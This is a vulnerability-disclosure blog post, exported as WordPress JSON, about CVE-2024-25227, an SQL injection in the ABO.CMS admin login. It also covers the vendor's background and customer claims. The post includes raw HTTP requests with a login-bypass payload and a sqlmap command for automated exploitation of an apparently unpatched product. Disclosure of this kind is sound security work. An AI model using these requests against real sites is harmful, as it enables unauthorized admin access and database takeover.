{"id":101,"date":"2024-12-08T21:38:47","date_gmt":"2024-12-08T21:38:47","guid":{"rendered":"http:\/\/thetrueartist.co.uk\/?p=101"},"modified":"2025-01-14T15:10:29","modified_gmt":"2025-01-14T15:10:29","slug":"understanding-the-impact-of-cve-2024-25227-what-you-need-to-know-and-how-it-was-discovered","status":"publish","type":"post","link":"http:\/\/thetrueartist.co.uk\/index.php\/2024\/12\/08\/understanding-the-impact-of-cve-2024-25227-what-you-need-to-know-and-how-it-was-discovered\/","title":{"rendered":"Understanding the Impact of CVE-2024-25227: What You Need to Know and How It was Discovered"},"content":{"rendered":"\n
<\/div>\n\n\n\n

I will start by detailing the vulnerability for everyone interested in the specifics, and later discuss how I discovered it and some information about the vendor.<\/p>\n\n\n\n

<\/div>\n\n\n\n

ABO.CMS-Login-SQLi-CVE-2024-25227<\/strong><\/h2>\n\n\n\n

CVE-2024-25227<\/h2>\n\n\n\n
\n

Date: 23\/02\/2024<\/strong><\/p>\n\n\n\n

Tested on ABO.CMS 5.8<\/strong><\/p>\n\n\n\n

Vendor: ABO.CMS<\/strong><\/p>\n\n\n\n

Vendor URL: https:\/\/abocms.ru<\/u><\/strong><\/h2>\n<\/div><\/div>\n\n\n\n

<\/p>\n\n\n\n

Components affected<\/strong><\/h2>\n\n\n\n

This vulnerability, found in the tb_login parameter of the admin login page, exposes the system to SQL injection attacks, allowing malicious actors to inject and execute arbitrary SQL queries.<\/p>\n\n\n\n

Type<\/strong><\/h2>\n\n\n\n

Remote<\/p>\n\n\n\n

Implications<\/strong><\/h2>\n\n\n\n

The implications of this vulnerability can be critical. With various exploitation techniques at a would be attackers disposal, including: boolean-based blind, error-based, stacked queries, time-based blind, and union queries, attackers can potentially gain unauthorized access to sensitive information, manipulate data, and even take control of the underlying database server under certain conditions.<\/p>\n\n\n\n

Al<\/s>l techniques I have verified work under this vulnerability:*<\/code><\/p>\n\n\n\n

As the vendor has not responded to my requests for the past 14+ days, I am sceptical that they will fix this vulnerability in a timely manner and I would personally switch CMS’ until these vulnerabilities have been addressed and fixed (if possible.) Additionally, heightened vigilance and proactive monitoring are essential to detect and mitigate potential exploitation attempts before they escalate into significant security incidents if you continue to use this CMS.<\/p>\n\n\n\n

<\/p>\n\n\n\n

Test Environment<\/strong><\/h2>\n\n\n\n

Furthermore, the details about the test environment–IIS 7.5\/8.5 with MSSQL Server 2008 RP2 SP3 and running ASPx, and PHP.<\/p>\n\n\n\n

Severity and Impact on Users\/Clients<\/strong><\/h2>\n\n\n\n

As far as I can tell, this could have quite a big impact on clients of the CMS as from the developer:<\/p>\n\n\n\n

“The system was chosen by more than 3,000 companies”<\/strong><\/p>\n\n\n\n

“Including: InvestBank, SvyazBank, Slavyansky Credit, Rossium Concern, AmiBank, Arktur, Moscow Department of Education, RegionInvestBank, Housing Finance Bank, Foreign Economic Information Portal, APC, Russian Standard Bank, BikeLand, Federal Bank for Innovation and Development, RoboForex, PiterGaz, MotoPlaneta, SDM-Bank, XportMedia, etc.”<\/strong><\/p>\n\n\n\n

https:\/\/www.abocms.ru\/partners\/partner\/russia\/*<\/p>\n\n\n\n

It is frightening to see the potential impact, as one of the main attractions to this CMS was in part that its designed usage was for banks. To make this worse is that the vendor ensured it was secure and that “The coding standards and architecture used in development eliminate<\/strong> the appearance of vulnerabilities such as SQL injection<\/strong> or cross-site scripting.<\/p>\n\n\n\n

“ABO.CMS<\/em> – Secure web application!<\/strong>“<\/p>\n\n\n\n

https:\/\/www.abocms.ru\/about\/security\/*<\/p>\n\n\n\n

<\/p>\n\n\n\n

Discovery<\/strong><\/h2>\n\n\n\n

I was originally perusing various content management systems (CMS) for potential vulnerabilities. ABO.CM<\/u>S was interesting to me as the first Eastern European CMS that I had come across and its vastly differing use cases based on edition. It is the first time I had seen a CMS with tiers like it.<\/p>\n\n\n\n

Once I had obtained a sample to ABO.CM<\/u>S 5.8 I dived into its modules<\/p>\n\n\n\n

and found an endpoint within an admin login module. I looked into the post form data and through some inspection found out that the “tb_login” parameter was in fact vulnerable to SQL injection. With this, I was able to gain admin on the underlying module on the website, and I could inject SQL using many different techniques as mentioned previously.<\/p>\n\n\n\n

Here are some examples of the Post request with the vulnerable module (tb_login), the original request and the SQLi ridden request:<\/p>\n\n\n\n

original request<\/strong><\/p>\n\n\n\n

POST \/login.aspx HTTP\/1.1\n\nHost: localhost\n\nAccept-Encoding: gzip, deflate\n\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/535.36 (KHTML, like Gecko) Chrome\/104.0.5735.134 Safari\/527.36\n\nConnection: close\n\nCache-Control: max-age=0\n\nCookie: ASP.NET_SessionId=asd123hstjj\n\nOrigin: http:\/\/localhost\n\nUpgrade-Insecure-Requests: 1\n\nReferer: http:\/\/ip\n\nContent-Type: application\/x-www-form-urlencoded\n\nContent-Length: 100\n\nVIEWSTATE=%2ASDkjdkjfkgajsslfk&EVENTVALIDATION=%2;llkfopkorjaeitjru123&tb_login=**USERNAME**&tb_pwd=**PASSWORD**b_submit=+%C3+%D7+%CE+%C5+<\/code><\/pre>\n\n\n\n
altered request (SQLi)<\/strong><\/p>\n\n\n\n
(EXPLOIT to bypass the login authentication, grants you admin)<\/strong><\/p>\n\n\n\n
POST \/login.aspx HTTP\/1.1\n\nHost: localhost\n\nAccept-Encoding: gzip, deflate\n\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/535.36 (KHTML, like Gecko) Chrome\/104.0.5735.134 Safari\/527.36\n\nConnection: close\n\nCache-Control: max-age=0\n\nCookie: ASP.NET_SessionId=asd123hstjj\n\nOrigin: http:\/\/localhost\n\nUpgrade-Insecure-Requests: 1\n\nReferer: http:\/\/ip\n\nContent-Type: application\/x-www-form-urlencoded\n\nContent-Length: 100\n\nVIEWSTATE=%2ASDkjdkjfkgajsslfk&EVENTVALIDATION=%2;llkfopkorjaeitjru123&tb_login=27872164'%20or%202579%3d2579--%20&tb_pwd=hf%36nb4u%84X5&b_submit=+%C3+%D7+%CE+%C5+<\/code><\/pre>\n\n\n\n
Here is the payload without URL encoding:<\/p>\n\n\n\n
27872164' or 2579=2579--<\/strong><\/code><\/pre>\n\n\n\n
With the modified request with the payload, you are telling the backend, placeholder “27872164′” is combined with a condition that always evaluates to true (“2579=2579<\/strong>“), <\/strong>and to comment the remainder of everything else out in the query with “–” as to ensure the modified query is injected. This effectively bypasses any<\/em> and all<\/em> authentication checks related to the “tb_login” field, allowing unauthenticated access<\/strong> to the control panel with admin<\/strong>.<\/p>\n\n\n\n
If you would like to do more to the underlying system, then you can use any one of these techniques as previously mentioned in conjunction with a tool like SQLmap to automate the process.<\/p>\n\n\n\n
Techniques I have vetted:<\/p>\n\n\n\n
Boolean-based blind, error-based, stacked queries, time-based blind, and union queries.<\/p>\n\n\n\n
It is incredibly easy to do, and you can completely take over a system and its database with this.<\/p>\n\n\n\n
All you need to do create a file and take the request, add a “*” where the payload would be and sqlmap will do the rest:<\/p>\n\n\n\n
<\/p>\n\n\n\n
POST \/login.aspx HTTP\/1.1\n\nHost: localhost\n\nAccept-Encoding: gzip, deflate\n\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/535.36 (KHTML, like Gecko) Chrome\/104.0.5735.134 Safari\/527.36\n\nConnection: close\n\nCache-Control: max-age=0\n\nCookie: ASP.NET_SessionId=asd123hstjj\n\nOrigin: http:\/\/localhost\n\nUpgrade-Insecure-Requests: 1\n\nReferer: http:\/\/%2Aip%2A\/image\/admin\/login.aspx?ReturnUrl=%2FImage%2FAdmin%2Fdefault.aspx\n\nContent-Type: application\/x-www-form-urlencoded\n\nContent-Length: 100\n\nVIEWSTATE=%2ASDkjdkjfkgajsslfk&EVENTVALIDATION=%2;llkfopkorjaeitjru123&tb_login=*&tb_pwd=hf%36nb4u%84X5&b_submit=+%C3+%D7+%CE+%C5+<\/code><\/pre>\n\n\n\n
request.txt*<\/em><\/p>\n\n\n\n
sqlmap -r request.txt --batch --banner<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
<\/p>\n\n\n\n
Who are ABO.CMS??<\/strong><\/h2>\n\n\n\n
Here is a little backstory on ABO.CMS<\/u>, from the pieces I have been able to grasp together and translate.<\/p>\n\n\n\n
ABO.CMS<\/u><\/p>\n\n\n\n
Our vendor is ABO.CMS<\/u><\/a> which was previously known as Armex BackOffice in the early 2000s:”A commercial content management system<\/strong> originally known as Armex<\/strong> BackOffice and developed by Armex<\/strong> in 2004.” – via EDSD – ABO CMS \u2013 creating web applications with modular architecture (<\/a>edsd.com<\/a>)<\/a><\/p>\n\n\n\n
It appears to be a CMS mainly used in Russia and Eastern Europe, with many different editions that are built for slightly different functions:<\/p>\n\n\n\n
Start ABO.CMS: Start The software product is designed to quickly create a website with minimal financial investment, which would allow you to present basic information about the company and its services. The product includes an installer, a system core and 6 software modules. Cost – 2,900 rubles.<\/em><\/p>\n\n\n\n
ABO.CMS: Promo ABO.CMS: Promo The software product is designed to support advertising campaigns to promote goods and services on the Internet. In the shortest possible time, you will be able to develop a website that will allow you to present the object of advertising in a dynamic and very detailed manner. The product includes an installer, a system core and 11 software modules. Cost – 5,900 rubles.<\/em><\/p>\n\n\n\n
CMS for creating online communities ABO.CMS: Community The editors allow you to create interesting and multifunctional information portals and online communities. The system’s capabilities allow users to make new acquaintances, communicate with each other, and create their own blogs and photo galleries. And much more. The product includes an installer, a system kernel and 18 software modules. Cost – 9,900 rubles.<\/em><\/p>\n\n\n\n
Content management system ABO.CMS: Corporate Using the editors to create a corporate website, you solve the problems of developing your company in the direction of openness, raising the overall level of service for your partners and clients. The product includes an installer, a system kernel and 22 software modules. Cost – 11,900 rubles.<\/em><\/p>\n\n\n\n
CMS for managing an online store ABO.CMS: Shop The editors ensure the creation of full-fledged and multi-profile online stores in which the purchasing process for customers will be not only useful, but also enjoyable. The product includes an installer, a system core and 14 software modules. Cost – 14,300 rubles.<\/em><\/p>\n\n\n\n
ABO.CMS: Business ABO.CMS: Business The product version is intended for conducting comprehensive commercial and social activities on the Internet. It will allow your company to take into account all the subtleties and specifics of your business, making you a leader among your competitors. The product includes an installer, a system kernel and 26 software modules. Cost – 23,900 rubles.<\/em><\/p>\n\n\n\n
via – https:\/\/www.abocms.ru\/editions\/<\/u><\/a><\/p>\n\n\n\n
It appears to have quite a huge customer base, again, they quote 3000 companies use their software, many being in the banking sector. Of this, they state that “The system is registered in the official register of Computer Programs of the Russian Agency for Patents and Trademarks<\/em>.” They share a picture with validation of this:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
https:\/\/www.abocms.ru\/files\/images\/register_small1.jpg<\/a><\/p>\n\n\n\n
It even has a user manual!<\/u><\/p>\n\n\n\n
via –https:\/\/www.abocms.ru\/about\/<\/u><\/a><\/p>\n\n\n\n
The official CVE entry from Mitre is here, as well as my more formal github documentation:<\/p>\n\n\n\n
https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2024-25227<\/a><\/p>\n\n\n\n
https:\/\/github.com\/thetrueartist\/ABO.CMS-Login-SQLi-CVE-2024-25227\/tree\/main<\/a><\/p>\n\n\n\n
https:\/\/github.com\/thetrueartist\/ABO.CMS-EXPLOIT-Unauthenticated-Login-Bypass-CVE-2024-25227\/tree\/main<\/a><\/p>\n\n\n\n
Thanks for reading! –TTA<\/p>\n\n\n\n
 (repost from: https:\/\/thetrueartist.wixsite.com\/cveblog\/<\/a>)<\/em><\/p>\n\n\n","protected":false},"excerpt":{"rendered":"
I will start by detailing the vulnerability for everyone interested in the specifics, and later discuss how I discovered it and some information about the vendor. ABO.CMS-Login-SQLi-CVE-2024-25227 CVE-2024-25227 Date: 23\/02\/2024 Tested on ABO.CMS 5.8 Vendor: ABO.CMS Vendor URL: https:\/\/abocms.ru Components affected This vulnerability, found in the tb_login parameter of the admin login page, exposes the […]<\/p>\n","protected":false},"author":1,"featured_media":117,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-101","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vulnerability-research"],"_links":{"self":[{"href":"http:\/\/thetrueartist.co.uk\/index.php\/wp-json\/wp\/v2\/posts\/101","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/thetrueartist.co.uk\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/thetrueartist.co.uk\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/thetrueartist.co.uk\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/thetrueartist.co.uk\/index.php\/wp-json\/wp\/v2\/comments?post=101"}],"version-history":[{"count":20,"href":"http:\/\/thetrueartist.co.uk\/index.php\/wp-json\/wp\/v2\/posts\/101\/revisions"}],"predecessor-version":[{"id":364,"href":"http:\/\/thetrueartist.co.uk\/index.php\/wp-json\/wp\/v2\/posts\/101\/revisions\/364"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/thetrueartist.co.uk\/index.php\/wp-json\/wp\/v2\/media\/117"}],"wp:attachment":[{"href":"http:\/\/thetrueartist.co.uk\/index.php\/wp-json\/wp\/v2\/media?parent=101"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/thetrueartist.co.uk\/index.php\/wp-json\/wp\/v2\/categories?post=101"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/thetrueartist.co.uk\/index.php\/wp-json\/wp\/v2\/tags?post=101"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}